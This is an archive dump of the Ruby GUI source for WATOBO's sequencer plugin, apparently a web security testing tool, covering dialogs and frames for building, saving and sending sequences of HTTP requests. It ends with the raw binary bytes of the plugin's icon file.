watobo-1.0.1/plugins/sequencer/000077500000000000000000000000001366346341400164715ustar00rootroot00000000000000watobo-1.0.1/plugins/sequencer/gui/000077500000000000000000000000001366346341400172555ustar00rootroot00000000000000watobo-1.0.1/plugins/sequencer/gui/create_element_dlg.rb000066400000000000000000000032351366346341400234070ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Gui class CreateElementDlg < FXDialogBox attr :element def initialize(owner) #super(owner, "Edit Target Scope", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 425) super(owner, "Add Entry", DECOR_ALL) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) FXLabel.new(frame, "Element Name:") @element_name_dt = FXDataTarget.new('') @element_name_txt = FXTextField.new(frame, 15, :target => @element_name_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL | LAYOUT_SIDE_RIGHT) @finishButton = FXButton.new(frame, "Add", nil, nil, :opts => BUTTON_NORMAL | LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) @element = Element.new( name: @element_name_dt.value ) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(frame, "Cancel", :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL | LAYOUT_RIGHT) end private def create super @element_name_dt.value = "" end end end end end end watobo-1.0.1/plugins/sequencer/gui/details_frame.rb000066400000000000000000000053601366346341400224050ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Gui class DetailsFrame < FXVerticalFrame include Watobo::Subscriber def element=(e) @element_label.text = "Element: #{e.name}" @element = e @request_frame.request = @element.request @post_script_frame.script = @element.post_script @apply_btn.enable end def initialize(owner, opts) frame_opts = {} frame_opts[:opts] = opts super(owner, frame_opts) @element = nil #@element_btn = FXButton.new(self, element.name) top_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X, :padding => 0) @element_label = FXLabel.new(top_frame, "Element: N/A", nil, LAYOUT_TOP | JUSTIFY_RIGHT) @apply_btn = FXButton.new(top_frame, "Apply", :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @apply_btn.connect(SEL_COMMAND) { apply_changes } @apply_btn.disable base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @tabbook = FXTabBook.new(base_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X) @req_opt_tab = FXTabItem.new(@tabbook, "Request", nil) #frame = FXVerticalFrame.new(@tabbook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) @request_frame = RequestFrame.new( @tabbook, FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) @request_frame.subscribe(:text_changed) do puts "Text in editor changed" element_changed end #@req_opt_tab.disable @prescript_tab = FXTabItem.new(@tabbook, "Pre-Script", nil) frame = FXVerticalFrame.new(@tabbook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) @postscript_tab = FXTabItem.new(@tabbook, "Post-Script", nil) @post_script_frame = PostScriptFrame.new(@tabbook, FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) @vars_tab = FXTabItem.new(@tabbook, "Vars", nil) frame = FXVerticalFrame.new(@tabbook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) end private def apply_changes @apply_btn.textColor = 'black' @element.request = @request_frame.request @element.post_script = @post_script_frame.script notify(:element_changed) end def element_changed @apply_btn.textColor = 'red' @apply_btn.enable end end end end end end watobo-1.0.1/plugins/sequencer/gui/elements_frame.rb000066400000000000000000000035161366346341400225750ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Gui class ElementFrame < FXHorizontalFrame include Watobo::Subscriber def initialize(owner, element) super(owner, :opts => LAYOUT_FILL_X | FRAME_SUNKEN) @element = element @enabled = FXCheckButton.new(self, "", nil, 0, JUSTIFY_LEFT | JUSTIFY_TOP | ICON_BEFORE_TEXT | LAYOUT_SIDE_TOP) @enabled.checkState = true @enabled.connect(SEL_COMMAND) do @element.enabled = @enabled.checked? ? true : false end @element_btn = FXButton.new(self, element.name) @element_btn.connect(SEL_COMMAND) do notify(:element_selected, @element) end @send_btn = FXButton.new(self, 'send', :opts => BUTTON_NORMAL | LAYOUT_RIGHT) @send_btn.connect(SEL_COMMAND) do notify(:send_element, @element) end end end class ElementsFrame < FXVerticalFrame include Watobo::Subscriber def initialize(owner) super(owner, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y, :padding => 0) end def update_elements(elements = []) #clear each_child do |child| removeChild(child) end #@progress_bars = Hash.new elements.each do |element| ef = ElementFrame.new(self, element) ef.subscribe(:element_selected){|element| notify(:element_selected, element) } ef.subscribe(:send_element){ |element| notify(:send_element, element) } ef.create end recalc update end end end end end end watobo-1.0.1/plugins/sequencer/gui/list_frame.rb000066400000000000000000000033121366346341400217260ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Gui class EntryFrame < FXHorizontalFrame def initialize(owner, entry) super(owner, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_RAISED) FXLabel.new(self, "Entry", nil, LAYOUT_TOP | JUSTIFY_RIGHT) @entry = entry end end class ListFrame < FXVerticalFrame include Watobo::Subscriber def update_elements(sequence) @elements_frame.update_elements(sequence) end def initialize(owner, opts) super(owner, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_RAISED | LAYOUT_MIN_WIDTH, :width => 300 ) @entry_frames = [] top_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(top_frame, "Elements", nil, LAYOUT_TOP | JUSTIFY_RIGHT) @add_btn = FXButton.new(top_frame, "+") @add_btn.connect(SEL_COMMAND) do puts "+ add a new entry" dlg = CreateElementDlg.new(self) if dlg.execute != 0 then puts "+ dlg finished" element = dlg.element puts element.class.to_s puts element.name notify(:new_element, element) end end @elements_frame = ElementsFrame.new(self) @elements_frame.subscribe(:element_selected){|element| notify(:element_selected, element) } @elements_frame.subscribe(:send_element){ |element| notify(:send_element, element) } end end end end end end watobo-1.0.1/plugins/sequencer/gui/main.rb000066400000000000000000000123451366346341400205330ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer include Watobo::Settings class Gui < Watobo::PluginGui window_title "Sequencer" icon_file "sequence32x32.png" def start @results = [] end def stop end def initialize() super() @config = Watobo::Plugin::Sequencer::Settings @results = [] @config.last_path ||= Watobo.workspace_path @sequence_name_dt = FXDataTarget.new('') @sequence = nil @sender = Watobo::Plugin::Sequencer::Sender.new begin main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) top_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) @sequence_name_txt = FXTextField.new(top_frame, 25, :target => @sequence_name_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL | LAYOUT_SIDE_RIGHT) @create_btn = FXButton.new(top_frame, "create") @create_btn.disable @create_btn.connect(SEL_COMMAND) do puts "+ creating new sequence: #{@sequence_name_dt.value}" @sequence = Watobo::Sequence.new({name: @sequence_name_dt.value.to_s}) end @sequence_name_dt.connect(SEL_CHANGED) do puts "+ new sequence name: #{@sequence_name_dt.value}" if @sequence_name_dt.value.to_s.length > 4 @create_btn.enable end end @load_btn = FXButton.new(top_frame, "load") @load_btn.connect(SEL_COMMAND) { load_sequence } @save_btn = FXButton.new(top_frame, "save", :opts => BUTTON_NORMAL) @save_btn.connect(SEL_COMMAND) { save_sequence } @log = FXCheckButton.new(top_frame, "log", nil, 0, JUSTIFY_LEFT | JUSTIFY_TOP | ICON_BEFORE_TEXT | LAYOUT_SIDE_TOP) @log.checkState = true @sender.logging = true @log.connect(SEL_COMMAND) do @sender.logging = @log.checked? ? true : false end @run_btn = FXButton.new(top_frame, "Run Sequence", :opts => BUTTON_NORMAL | LAYOUT_RIGHT) @run_btn.connect(SEL_COMMAND) { run_sequence } splitter = FXSplitter.new(main_frame, LAYOUT_FILL_X | SPLITTER_HORIZONTAL | LAYOUT_FILL_Y | SPLITTER_TRACKING) @list_frame = ListFrame.new(splitter, :opts => LAYOUT_FILL_X) @list_frame.subscribe(:new_element) do |element| puts "+ add element to sequence" unless @sequence.nil? @sequence.add element @list_frame.update_elements @sequence else puts "!no sequence available!" end end @list_frame.subscribe(:send_element) do |element| @sender.do_request(element) end @list_frame.subscribe(:element_selected) { |element| @details_frame.element = element } @details_frame = DetailsFrame.new(splitter, LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_RAISED) @details_frame.subscribe(:element_change) do @save_btn.textColor = 'red' @save_btn.enable end rescue => bang puts bang puts bang.backtrace exit end end private def save_sequence return false if @sequence.nil? filename = @sequence.file filename = FXFileDialog.getSaveFilename(self, "Select Sequence File", @config.last_path) if filename.nil? unless filename.empty? @config.last_path = File.dirname(filename) @config.save puts "+ saving sequence #{@sequence.name} to #{filename}" if $VERBOSE Thread.new(filename) { |fn| # File.open(fn,"wb"){|fh| fh.print JSON.pretty_generate(@results) } File.open(fn, 'wb') { |f| f.print Marshal::dump(@sequence.to_h) } } end end def load_sequence filename = FXFileDialog.getOpenFilename(self, "Select Sequence File", @config.last_path) if filename != "" then @sequence = Watobo::Sequence.create filename @sequence_name_dt.value = @sequence.name @list_frame.update_elements @sequence end end def run_sequence @sender.run_sequence(@sequence) end def add_update_timer(ms) @timer = FXApp.instance.addTimeout(500, :repeat => true) { unless @scanner.nil? if @pbar.total > 0 @pbar.progress = @scanner.sum_progress end if @scanner.finished? @scanner = nil # logger("Scan Finished!") @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) FXApp.instance.removeTimeout(@timer) @result_frame.update end end } end end end end endwatobo-1.0.1/plugins/sequencer/gui/post_script_frame.rb000066400000000000000000000014041366346341400233240ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Gui class PostScriptFrame < FXVerticalFrame include Watobo::Subscriber def script @text.rawRequest end def script=(data) @text.setText(data) end def initialize(owner, opts) frame_opts = {} frame_opts[:opts] = opts super(owner, frame_opts) @text = Watobo::Gui::SimpleTextView.new(self, :opts => FRAME_THICK | FRAME_SUNKEN | LAYOUT_FILL_X | LAYOUT_FILL_Y) @text.editable = true @text.subscribe(:text_change) do notify(:text_change) end end end end end end end watobo-1.0.1/plugins/sequencer/gui/request_frame.rb000066400000000000000000000033471366346341400224530ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Gui class RequestFrame < FXVerticalFrame include Watobo::Subscriber def request @request_editor.rawRequest end def request=(request) @request_editor.setText(request) end def initialize(owner, opts) frame_opts = {} frame_opts[:opts] = opts super(owner, frame_opts) top_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X, :padding => 0) @select_btn = FXButton.new(top_frame, "Select", :opts => BUTTON_NORMAL) @select_btn.connect(SEL_COMMAND) { startSelectChatDialog } @request_editor = Watobo::Gui::RequestEditor.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @request_editor.subscribe(:text_changed) do #puts "Text in editor changed" notify(:text_changed) end end def startSelectChatDialog begin dlg = Watobo::Gui::SelectChatDialog.new(self, "Select Chat") if dlg.execute != 0 then chats_selected = dlg.selection.value.split(",") chats_selected.each do |chatid| chat = Watobo::Chats.get_by_id(chatid.strip) if chat @request_editor.setRequest(chat.request) notify(:text_changed) end end end rescue => bang puts "!!!ERROR: could not open SelectChatDialog." puts bang end end end end end end end watobo-1.0.1/plugins/sequencer/gui/var_frame.rb000066400000000000000000000006271366346341400215510ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sequencer class Gui class VarFrame < FXVerticalFrame include Watobo::Subscriber def element=(e) end def initialize(owner, opts) frame_opts = {} frame_opts[:opts] = opts super(owner, frame_opts) end end end end end end watobo-1.0.1/plugins/sequencer/icons/000077500000000000000000000000001366346341400176045ustar00rootroot00000000000000watobo-1.0.1/plugins/sequencer/icons/sequence.ico000066400000000000000000000525641366346341400221240ustar00rootroot00000000000000 ^UPNG  IHDR! Až IDATxgXTW׆3X["(Jш#A{7*JLb{튉%c F@!;XaҙP󙼆P}]ȕu^gvY+//NIIIBHR4hZZZ ȈqvJhw <޽W"** hiiR)0`١m۶F8b0j8}49tQVV#F Э[/FL 5kl۶ /^l `̘1Xp!vZcňFbcc/Μ99ZlK>6OUa"`ŋH% 0{EZQ `…dܹ* tƏK.MJ[ 1*f…dj_WWgϞCXB,XVR̛75bEVB 8w5jTDAEERirqqӧ9Hk&B #...SN:aݻ7 @aa!$ bcc0*4YsNNL %Cɓɉ'M\QQ7nȑ# w) :Tm*DP2{%->a˖-UJ?'mmmq 4D׮]K-@#GV'g\`` ܹ???RDmF.]Je={"y qttDff&mÆ 2"D"""w Z}ܾ}@s+\rE-!&B w344D`` LLL?2dsN*q߅ &B  AJJ ٳ"@2e gkkkTXQ3F\B #?ѤI̘1C>bر}vvCDD&OT !&7n͛7 |999DT5BQZZJe榒*FeQ2RZZ+WXk׮ݻ GE\\\yѱcG$$$TjBJU3b(>|_|>.]d.}}}Ν;л*Evy5L={^zy1*+0f``P+.}m߾spp,,,8:%@`ddt͍|E*J%66ovڵC׮]U^PJTTT`HHH9UƨWWWtЁ.88{Q-Yaa!ΝK 0e4hЀ.M@1DDD9|0m=:ԭ[kWQQ?\=Jbbbl܄ &B*{nڵ'*^NMf+,,Ę1c H"\˗S<͚5S߈Ca@sݫ 6 ܪnݚ:u*mTT\]]Z-!*.._pB~K,ΔՂCa"""ȫWx1|zz ͛7{.Ə?$33Sa1ՕXј1c䤶!Bd2;w2˫zUT-ZPbӦM5jHff&)--L&Jr)Yr%?~<^͚5,eZ0B"Ç.]R{󪒕E>|*=/PVVbԩS ;`ii^zM6hڴ)8CZZpmH$*mllCwֆ6Yf͚֖ק~C!=zDSi9MMMlܸ_|EY!,,>|@aa!d2_߫T*Eyy9SGG(..Zq U埕T 4m={ѧO4o޼C!n޼IWMvp̙Zs%5vZ\tIݮ9%K6i䃁sP45kss/@EEE7oqssc$i& }DQ?(** JɓallFEnY޽{WjSQQl&BM)tޝF*2br9MӦMѢEz[RhZjkCa"` 4n? ,1oD@BL RbqB x{{8uVlقO>De#! ܺuK.v`&B C0b0jP+L Za"`0 !VX ۷ǺuT>o]M)a"`(ҥK c0jP+L Za"`0 !V1 D`'`(HHHH ݠAVYP'OāZl,c0jP+L Za"`0 !V1 DQ*Q`qB DYYTzP u&B ^d2 v嵏ǨQȺu`ggյ~~~ݨ3R\BƏO,--YZZ"--pnnn_%2Lɞ2j+LCaa!Μ9CH\\\pVixyyw$;;]IRuP]3b˗/1cƐc"22R&!􄋋 ?^#vNql1Jݻj󡠠_5bRqx.^cǎ-Y5$?. \E1j2 СCvиqcDEEB)AExyy_V$?6mp4!%k׮yi޼9>> D^qyrU^;H___tY-QF&={PfR Jmۆ=z(mƇ^1G:u %%%vXdg2ǡkhݻw炃N0Ais0bSڅP=!///000NWWJK.ɓy 6jȟ:AڶmSNaر3'{}Vڧ8,\*&$$DYn&N%$$߿NNNT+5F4n ţG;ný{Ȼ|dee!-- YYYD[T7SFǎ:88 ϶aÆ p3|p]]]4mhҤ UUz `\rYYY D`РA8$%%޽ʾЪU+UVSD(''$88Xw߾}עO:w7nk8ql߾ 5T6ͫWo^L3fI&ƍLsssվ}{Дx a:/BbL0vrjU{1PcÃpPRTT򐗗kC=ٕЙ3g7 ))+!ccc4lPE1E\ )SP(0UyW_gϞ嵱D;P+uJ!X`RSS~v1bЮ];r0\___r8~8>}Ryt##~ܹS>ìYСCڙAH$—_~Y~z]s]v:::JgTguJQs3ӷo&۶mѣ.\suYѤI={{{^X(-<,,lڴNSSzRD۷#%%?X,wN`WW&L@.]Dh!x9!x9|vvvg~j٠AL4IE)2ʳ>yyyHLL!!! AF `ggSSSoj<{ 8tPԩBCCaggG6m ===F__VĬO-"v 0ٳg$22HJJBBBJKKU)))AQQM⿡ 8TTT@" //Z```}}}hhhTIDd2455%߮]; <6666PWBO>qtt5g rϟ';w˗kl$*.ZV\ 333pB̙3U< ũgBټ6:uR''33XH$|pvv&PZ-Bvhyff&:t(X%B[`&D5Z-Bb~S^xAOՖ! %%%:u*]ƄHziWE(''dx왺]wׯ_gBFjvl٢n7-EEEFEE]0R#>$TÄSLԄ\.ݻY_¶mp&Dj V^xA?NmߩS' >-Z ;;AAAjݿ8vWjQ %mV322B@@*_}U~avv6;>̨Q 6ێ X P5:DvZݤn?DHMxצG;w.jbee}gv\Ĩ DHM$''t]guP4_*vC0R6;wV'6mԊ.fJ-QF*~CCCuKjj* չ!5 ˩jppWk~?V *^@)Էs!'T˹~:VCQ ,'SSS]vEii`⥥ ܹחhz[Æ cDW_2sLAiٲ%nݺ۸qc]uޝ̘1Rx<~N=jI+.̌.55*[Q/Yx1̬1L4jHѱcG^;E d "#G/v܉qӧ5B1*UV\޽y"""`iiI.\H?N)""1L8oׯ_3.DL S٦`ݘ>}:<<<|~WmTII ֬YC&OVH$6l*DL ӳgOR).]3gm۶:t(x{!]t!֭CFFFc'&&bРAHKKS1b0TLƍWي a2e %YYY׺~~~,Ziiicjg"`mmmX[[Wkb;v z5Kϟ*5vx |v Fxx c2VJJ 티0bii%&B>}pʈ)a(ѣGȑ#W+C"`8s iӦJm 5жm[N,sh߾}J}UGDPؾ};w)l߾ƍ1-% F$ !CXYYq3fOrW^ܹs"A=~XDaٓۼy3ݻwUOSSSLwwwR?+H{&B F DCC]| 9D"̝;>\\\Cq{Qh 2Di+"&B F-[nܯ]p'ND Ֆ8W\֭[9cc5&OmذxJI`"`lhhhٙ;twϊQFزe BCC-X۰aB󧧧cԨQHIIV۷/wIDGGP\zСCaeeEך5kG!˗/GQQռ߿?.]Dڷo/HZ׉P+#F={@jj*ر#'$rdddD/_>qV#VSFFFܹ3Zh GhѢ"{z L ǘ={6WRRB-[F H$;v,N<)1deeۅ:AZZ> ---RXXGÇHKKL&P"]v=z KKKNOOھWEޱ`Ą̙3Tܿ @DD1b0Bƍ2\.Gqq1޽wðDΝɤI0l0NGGGm 'O̽|^TH$ <O&[ 5@Abb"N> 4nܘӇ|D]eW,YO >}WQ IDATJ}6|||쌹sDۺI&qBiiiׯ_15 D}[n={6QuEq[nU虴4UiEDTTTСC֭K"HT&F}uV?Ç#''DjB:) LR)~'8;;# ܹsիkq]8p>9 \}rrrx5jo S̜9#F ׯ_Wɪh޼y oڷo} ܺu+ymϝ; +pauP8000T*w qH ??R傤rݻȴiӔz/駟B__żWhZ'B7n 'vڅ|g.]?X[[cСprr)gPӧקOuQ044D޽1`:u:ڨQCAII }:f̘mۖ6iҤQTTϟ[n!,, bZ$GGGر:u]yӧ ym@NG5LΝ;d䣏>B@@@  wwwّ`.+z.ɿoڴ)իWɟIe;p@TwW#E(55?^eeeJK.ڵk:t({V۱G*$@9r$Μ9[n MȹaN,c -#""{yq42rDoj@F&P?KX=9s&UeFFΟ?_χZWBXZZT*{SSSرFrm2e$%%QJ{9O8A&M/_/ׯu RM_kR'~~~vkР]q֕N^xAe۲eKDFFVK{ŋ駟RGEE)u5yxx(kx&&&j] :u vvvz-[F.:>>QQQ 'j!T-[P4o'N@6mYjՊ۹s':t@euVuEúu`eevZ8;;m؇011.^S?W^ukժ7c 1r>j,r-^; N]v\@@LLLxmoܸ/*m5dnnΝ9sƍS`ffxyyJzG Jnݚ>** GCcMvY׾BoMԩSwt֍+..Vzw۶m{r۷o~a ?Z-@077Ο?MrlٲOΝ9ƚ)))9?7&B4K `JcΜ9YҬڪ!s+W/pWWW矈zU':tlBe3|嗤v…Te?sSr;K7oVj]/˦MȊ+*100g|(۟w$%%K.޽{xJJJ\hhh-@.#77 166F Cii) TFFFՅL&\.6lF ڵC>}Э[7@9_ |7>L&ŋɞ={/\T"`„ ?/,, W &sM0zh-ѣ3fڿAsrrJ!j- YQQ;w`ڴixU>}:VXz32  ۑ;ƍvZ899-R####..DDD@,#99qqq3eeeҥ UٳsN^yp3gĞ={YR5//W444Tv6bii꒒j4 eRTt^nݺ/@֭+}A m֭[UrLObqqqӧdڴi6m۷,]-=s=u6m{ooo5i҄}fO> 777Ϩ3!‚hkkS%ք@aaX+>cTۻv)]W{yy:חZ>Drr2|}}ѡCxyyd&GϚ51b]FFn닶6:u;^VV/_w[TT.Bڙq`kkkxR(**BBB9|0Yp!իiݺ;"""4hׯuimhjjbƍTV;v+++GϞ=4!  w܉/^2e?~ oooj‚9lٲb.T# 77mm*p >X(,,DLL 7*kkkUˑ#GJxsvvÕ _=n8Xߟ ǏWeB.\P]ff&.^Pgggt=ϟGf`ccS駟bРAҥ N$UD022χL&SY>ah-Ts4hiٲ%qqq+p* 3wEKݻ-ZTe_*#..XYY)]G,'..N)e˖Q%Ҭ@8WW*,_ݻwGf͈7y)Q˙%ͳgϨ{ M5&M X 6l1cڥu}|G DNH1h (CǍ;xikhhM0^z'N 44T=ּ/_Rmۄ Ϟ=㵣 ]IOOtAӦMyW.4D[haÆ [W[o}UuidAAA2dPA.\="ԪU+s)B_!`nn^)!#555n?~Lbc7TqTE0uT۷!!!o>L:cܸq> ?X 48:p@^B"Ė-[-[ &PU-͛7,--ɍ7*ǏbBI`` ]۶mѸqc dtuuѩS'tprrJǏy/}v!5VZۚ{ڴiӧOkRC,ח\Rw^$a„ 8u*# ::׻wo޽{8ux1?~L]>VjBsVklܸZ}8vhBܝX[kkk,X8y$ϹRh]xw`ff=z27۰CLL '@3b.&&۷oB+;v@ȀF&/8q"?~СCo1p@8Dm"D[8sRT())Z?n:ܽ{\LL qFnԨQ9G >|aMG۶m /YzֺukbڴiU6m kkk*|]zzzT>T8I&zVZŝ?KNNbbbddP-Çd2|7r加BS憂^ہɉ-|ҥU,TTT //׮_~%''_ʶuֈ"Ɔ _UJ2-----X[[sK.9r$3j1tRԌD5 QQQQ222СCS*ɓ'[+;;U1qׯ`sҦbɓ066^~ۅ49rrr&|7֍,5P9W^>oVn*.GGG@oD"ፒB.]& 5'm޼Y)%8lll͛7Sbjjʛ-.h~͛7zL>3f WhUAΝK B-@XzJik:RTxH¸8B omm]3 >M988ڽY$Ȉ*&E:U nVSē'O>ݻkCSh+UV 6翱rJ*;VCT]T^\8!LDB222HTTTP 'BK@YfСZhA444 !Jq5|RQTT?.]HD"4lZ;̌:HӀR:4"ddd$\֭ _rX,第xc !˫*"$B<7o";;RJ¡,233,o.-ǽ MWWZS(JJJ<^~k׼ys椩@S L(wSWbjED*T8q"%@ BR)pEL:3f oVjHii)UΖ`s[Mqttl>>h!iӆwؿzIzꅀҧzCYY;O>۶mWB$˩V@-IU˪{cuݿxxxO<,[ ?c"BUnRvN n4h !ɖ 1-#Bׯ_'RBVZ?J;DPyy9BaŸ{."QwcA+.B˾z |u?DhϞ=>vIx84 U}S#A0 4yBśjaaAwDdǎ*aΟ?:Ңʲ2^&yTO7BF)UAOO...aWH$T*EFFrrrݻw+Ca``@H cgΜl>>hiFJKK$l) ۷͛SMeͼ(--Ett4lpp0 <ʛis]v}qbbbёWd!b1UqK4}L 6' "MyqA 6{qsvz$ R455 %GVbU&ѕ;kٲzD(//|OXYjЦM/UCmT* Gs"ﯴӧ[nZ1D\=mmmB"$hW}h++L.sѣnyy9RJdEeK[tFm۶q"" ..uhݺ5[ Mک:e!EA(!5-:a𑟟///A#WS͟?_^###D V$Jǻׯ jٹs'ȥKHbb"VX,,‚:u*m\\ $H^}hh`ԩKF;t.]TkΗ/_{ yQ=YQQׯ_^P'oktB0c p;wޤٳ',--.KbkkwVjϟ] \jN>M,Vyf2u*ivUEeodd$harvvvU?''$22R722QQQxB&"L[5B>|C ݺu%2e ٽ{7IJJZ=FEK$ܺuK7!E:9s& Db1H,AE`mxBSɉj-[&M-[?;v͛7u$t2033 5k֬ޝB Hp1;v ż߮X]XXy +Wb1 |X,X,qttȑ#addWIԩSUJPWqa oߞwy!22RDG =lASSvCo!۷oeiiuܙX,T*4ĉ>:tQ4+99ԝ;hyfHHWYZZȈW?.xjڻm0jقǏW2äIxǒH$tmll&44T>BCC݆ D 4uσp/D"!#d"իWy p!شi`xUBddd'N笼?]Æ 1f^gϞkE`"Cf!44NGG*R7** 9SޭLhr ={o r$`llcɒ%Lajjʉb… ؽ{7&MT;ׯ_8Ş={RƆKLL*Wkkk(+4M:ք xm^|I9Re_8ܰyfblڴkܸj1j<裏>}***PPP@?~˗/#<<wW{ 7 DRxCPPqwwh/پ}Ҋa߂υ VXOO]tKHHÇ755E.]Э[7ڢwhٲ%L}ٳItt4=z3g 22wt޽ڵ\]]ɾ}*K*bʕpssSZ훕+WrӦM#k׮ (SNŪU?~W^u۲e ;U:˗ڵ+ƌgggtM6m abb :[p!ƙ>gϞ,Z*ɓ'矕faa߿KLLļyUu֘7o~NOCsq.][O^SSS_+WDQM k#oRKKKvލϟ+=0‚ۼy3EGGcʕpppTZn \!!!HJJ6oެttL޸q##:uStt4يM6 ... o1Y IDATl.xX*Vj ﾙ=[ɓ'ظq#vڥUƆR9]իWS5r9~q_|Dp裏`QQQڅ#66t֭ʊ4i9x ĉI~ד 6PΜ9@ahh(9{,xZI~l;ƨѣy튋aKqƼv2 dڵT/΂h;𸺺vw71ĉ^'O"""W0,--5kP㑗WoȀ ͝;m۶^r\vw >C0bT333w޼v/TczzzrTϟ?DŽ ?ޗwݴiP T fN:q7o&s̡n '''lٲ;Sdڵk]vO> ܹsT߿׮]#LQ#(.._;5j>s”)SdBzPӐdoʕ+nrL4C .qM2?ٶmf͚U-GZ=p$ILf͚5$==N$a ?86lnJ!}R)ЩS'L0\~FQyy931b笡}U[7W1mVVVXQ幘1Ehh(=zrS%0g_~gO***ѣGcܹ$!!xЏG%C !ӧONoTg !zі8rn߾]%Ag"Ĩ22 [lANN&||||aԨQٳgѼy*=}VVVSL!N"BzrĐ :L6 W\*J!ڴiX\Ch>.]ѤBt*db5UE066^ ?,--cŊϯĉ8ü-zhԨGSYYYD" %%O<7/_Vq3f |}}R}}}㏘5kok׮Ϗ,ZH!_!KKKXZZ =,EhsT }vؘ)))HIISm۶077iӦ_+dgg#66 ѣGGaa?_bҥXbF}e2vڅ'͛S "T'Sz/gggBaڵ3ATT  HHHfmmmhiiACC(//L&!;vqq?L*$))6552e "\pHȌ:M^^BgϞűcTr̝9sv֭h۶R @*Eqq1R+V#GlU%@ϟ?'?lE",[_O>ĶmT"D 6T c޼yGSHA7@ttt`jjʻLVV7Jmڭf͚qM߱wBa]vq.\ٳ8a$P$''QF!55OOO_^aEh׮o2ann.d2Y7E'`|@vtЁ"|駟T&DZZZ0`sN.11[f UԩS/r*M'HKK~f5'"M6-Y~~>ܹsGCzz:y27‚?ТE [|ʶfoy&oߎAjذ!<<<XOMcBy=z4$ 3^^^ ^-Z@GG<~:233yMT:t^VZQ?STTe˖! @-JۦMۛ;<Sܼ)%;bɒ%8<9WWWm۶j);HlȑصkWw+//\.Gǎ _$Z tutLq2g^8رc yx16lRRRyd"Ѹy&>|4&7FF`dd:NNNh߾=8EߔAbb":tB;OOOUƽBh`;v,lllb lQ[8>|#88hccNu$--W弶6~'L4IB>eeex)IKKÃ<B$!%%޹4qlKEh^Zwe0Ri-V*Vp؅t dvAcYVߐn42ɲ০em+lJ,w<ޜpl(x<||C7j$$$5;dʕ(--jwD… D&Ycooox Ǐf(rY^Xs$Ed28t,1#9v^xd2̝;סcf4Dh4B0  oo `06 #źu~}ǴT`8{yH>}T/^Rf1p%̙3Ǣ/ JM$??O<,00˗/Ƕm0iҤQ)#RRR[n P3gbӦMHNN6e2{lT*\.C6^?T @ׯ_h-JDFFZ|EEE:2k֬C֮]KZZZ8ZݻGD"шOQ&,z.a̛7BO.)))ׯ.U:::˵h l69z(hkk#f}CZbw( ";k.J"'Od2rC˱A>}T)HVHc?\.>Z̙3Ǣ(**q}رjOt???,^RB2M]hjj"P(V_Xt)uErA\1$CӇ0aѢEhiiqT4cǎ!..nL *,\i/}f>xyy!((SNEVVD"lq7]]] GMM J%>N`e2N>w"_|Ym۶rGX,Z ĉǤ jP(ƞDFFB"`Ոpثjre\t Jҕ]"##ϟw_EhRXX*6 `-F˗dҥ0 ˙P@$%%!77iQRIp5ttt-=J())q8!`h֭[hjjVE__AQSMGB`0d2d2 @TQZ޾}K,:v<bV*$//O>) ( m 44ΝH$rlG|Y?B[lYä,Gi` Pqq1媭ZhVKM H$\.7+ֻwș3gPZZjV_ٽ{7ɲe,ͤI H Jk_߿' ?555.c4nǣjjj?$\z7nܠM7qDF޽ Lhv- fp8غu+4 J%%)s\.U^^N566"!!ᏇG999|ˍ5[jIJJ ?`bȑ#ʲ˱͛7a*Vpp0޼yc=.M>X`ͳ1N'Nbtwwb!77.Zh܎]YYODDB!8ݖE"-vqP/QP Vh/hҐ8 Ug]\A"%Zxr?{{ SjN&lnU""LjL}NS{ꥺ,?+MYs'tAG.q.:Q#' ; x8.+8kݓ0VNkI,b "Ȩ ,iH1U#P!9~?=[09&@׋m ]YcngJk `z[u[I ɑ~Fߔn5wns>U88ιӚwr /mbKGD3'| pHYs  